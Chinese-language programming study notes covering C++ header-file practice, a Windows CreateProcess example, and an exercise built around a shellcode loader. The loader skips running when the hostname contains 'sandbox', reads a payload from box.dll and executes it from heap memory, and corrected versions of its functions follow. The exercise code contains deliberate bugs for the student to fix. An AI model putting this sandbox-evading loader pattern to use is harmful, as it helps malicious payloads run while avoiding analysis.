- 头文件
头文件的作用
1.声明和定义分离:头文件通常包含函数、类和变量的声明,而实际的实现则在相应的源文件(.cpp文件)中。这样做可以帮助组织代码并减少编译依赖性。
2.接口定义:头文件定义了外部代码可以访问的接口和类的公共成员。它们充当了代码模块之间的接口。
1. 头文件包含顺序
通常建议按照以下顺序包含头文件:
相关系统头文件(例如 <iostream>, <vector>, <string> 等)
非系统库的头文件(例如 Boost 库或第三方库的头文件)
本地项目的头文件
2. 头文件命名规范
使用有意义的文件名,反映其所包含内容的用途。
文件名通常应该与类名或函数名相关联,以帮助识别其内容。
3. 头文件中的命名空间
避免在头文件中使用 using namespace 指令,尤其是全局作用域。这可能导致命名冲突,影响代码的可读性和可维护性。
4. 头文件中的宏定义
如果需要在头文件中使用宏定义,确保使用预处理器指令避免多次定义。
5. 前向声明
尽可能使用前向声明(forward declaration)来减少包含头文件的依赖性。特别是对于类声明或函数声明,如果只需要使用指针或引用,可以先声明而不必包含整个定义的头文件。
6. 头文件中的实现细节
在头文件中尽量避免包含实现细节和具体实现代码。头文件应该只包含必要的声明,具体的实现应该放在对应的源文件(.cpp 文件)中。
7. 头文件的交叉依赖
尽量避免头文件之间的循环依赖。这可能会导致编译错误或难以维护的代码结构。可以使用前向声明或重构代码结构来解决这类问题。
8. 头文件的包含管理
在修改或新增头文件时,确保相关的源文件正确包含了新的头文件,以免编译错误或未定义行为。
通过遵循这些细节和最佳实践,可以帮助提高代码的可读性、可维护性,同时避免常见的编译问题和错误。
- 代码实操
#include<windows.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#pragma warning(disable:4996)
/*
要求1 单步调试 并处理所有的错误语法 最终程序运行结果是弹窗一个弹窗
要求2 对GetHostName函数进行改造 hostName改为二级指针的方式传递
要求3 对GetHostName函数进行改造 hostName作为返回值 传入方式为1级指针
*/
BOOL GetHostName(CHAR* hostName)
{
DWORD hostNameLen = sizeof(hostName);
if (!GetComputerNameA(hostName, &hostNameLen)) // GetComputerNameA是win32 的api 获取电脑hostname 第一个参数为存放hostname的内存缓冲区 第二个参数为缓冲区大小的地址
{
return FALSE;
}
return TRUE;
}
BOOL CheckIsSandbox()
{
CHAR hostName[MAX_PATH] = { 0 };
CHAR* sandboxName = "sandbox";
if(!GetHostName(hostName))
return FALSE;
if (!strstr(hostName, sandboxName)) //strstr 字符串比较函数 bool类型
{
printf("%s\n", "not in sandbox");
return TRUE;
}
return FALSE;
}
BOOL ReadPayload(char* shellcodeBuffer, PDWORD shellcodeSize)
{
FILE* file = { 0 };
WCHAR* buffer = NULL;
SIZE_T file_size = { 0 };
file = fopen(L"box.dll", "rb"); // 打开文件
if (file == NULL) {
perror("Error opening file");
return FALSE;
}
fseek(file, 0, SEEK_END); // 获取文件大小
file_size = ftell(file);
rewind(file);
buffer = (char*)calloc(file_size, 1);
if (buffer == NULL) {
perror("Memory allocation error");
fclose(file);
return FALSE;
}
fread(buffer, sizeof(char), file_size, file); // 将读取文件内容到内存拷贝到我们申请的内存中
*shellcodeBuffer = &buffer;
*shellcodeSize = &file_size;
fclose(file);// 关闭文件
return TRUE;
}
BOOL ExecShellcode(char* shellcode, DWORD shellcodeSize)
{
PVOID* shellcodeBuffer = NULL;
if (shellcodeSize == 0)
{
printf("Invalid shellCode length\n");
return FALSE;
}
shellcodeBuffer = calloc(shellcodeSize, 1);
memcpy(shellcodeBuffer, shellcode, shellcodeSize);
((void(*)())shellcodeBuffer)();
return TRUE;
}
int main()
{
if (!CheckIsSandbox())
{
return 1;
}
else
{
CHAR* shellcodeBuffer = NULL;
DWORD shellcodeSize = 0;
if(!ReadPayload(shellcodeBuffer, &shellcodeSize))
return 1;
ExecShellcode(shellcodeBuffer, shellcodeSize);
}
return 0;
}
1. 函数 GetHostName 的改进
要求2: 使用二级指针传递 hostName:
cpp
BOOL GetHostName(CHAR** hostName)
{
DWORD hostNameLen = MAX_PATH;
if (!GetComputerNameA(*hostName, &hostNameLen))
{
return FALSE;
}
return TRUE;
}
2. 函数 ReadPayload 的改进
修正 ReadPayload 函数中对 shellcodeBuffer 和 shellcodeSize 的传递,应该是单级指针而不是取地址:
cpp
BOOL ReadPayload(char** shellcodeBuffer, PDWORD shellcodeSize)
{
FILE* file = NULL;
SIZE_T file_size = 0;
file = fopen("box.dll", "rb");
if (file == NULL) {
perror("Error opening file");
return FALSE;
}
fseek(file, 0, SEEK_END);
file_size = ftell(file);
rewind(file);
*shellcodeBuffer = (char*)calloc(file_size, 1);
if (*shellcodeBuffer == NULL) {
perror("Memory allocation error");
fclose(file);
return FALSE;
}
fread(*shellcodeBuffer, sizeof(char), file_size, file);
*shellcodeSize = file_size;
fclose(file);
return TRUE;
}
- 使用 Windows API 来创建和启动一个新进程
#include<stdio.h>
#include<Windows.h>
int main() {
//HANDLE thread=CreateThread(0, 0, ThreadProc, 0, 0, 0);
//WaitForSingleObject(thread, -1);
//return 0;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//创建进程
if (!CreateProcessA("C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
(LPSTR)"msedge www.baidu.com",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
fprintf(stderr, "CreateProcess failed\n");
return -1;
}
- 心得体会
创建和启动新进程(CreateProcess 函数)
1.功能强大:Windows API 提供了 CreateProcess 函数,可以在程序中动态地创建和启动新的进程。这使得我们可以通过编程方式控制系统资源的分配和任务的执行。
2.参数详细:了解和正确使用 CreateProcess 的参数是关键。例如,指定可执行文件的路径、命令行参数、安全性设置等。这些参数影响了新进程的启动方式和运行环境。
3.错误处理:在调用 CreateProcess 后,需要检查返回值来确认进程是否成功创建。如果失败,需要适当地处理错误,这包括输出错误信息或者进行相应的异常处理。
4.结构体初始化:与 CreateProcess 相关的结构体(如 STARTUPINFO 和 PROCESS_INFORMATION)需要正确初始化。使用 ZeroMemory 或者显式初始化,确保结构体的各个字段都是有效的。
指针的使用和管理
内存管理:在使用指针时,需要注意内存的分配和释放。特别是在操作系统编程中,合理管理内存是防止内存泄漏和提高程序性能的重要一环。
1.类型安全:指针的类型必须与所指向的数据类型匹配,这样才能避免类型转换错误和未定义行为。
2.空指针检查:在使用指针访问数据之前,务必进行空指针检查,以避免因为未初始化或者无效指针导致的程序崩溃或错误。
3.指针算术:了解指针算术的原理和使用场景。指针算术可以用来访问数组元素或者在缓冲区中移动指针位置,但需要注意边界条件和正确性。
综合应用
学习这些内容后,可以实现更复杂和功能强大的程序。例如,通过创建新进程来执行外部命令或者启动其他程序,同时可以通过指针操作来处理动态内存分配或者复杂的数据结构。这些技能对于系统级编程、工具开发以及需要与操作系统直接交互的应用程序开发都是非常有用的。
总的来说,学习 Windows API 的进程管理和指针操作,不仅增强了对操作系统底层机制的理解,也为开发高效、稳定和功能丰富的应用程序奠定了基础。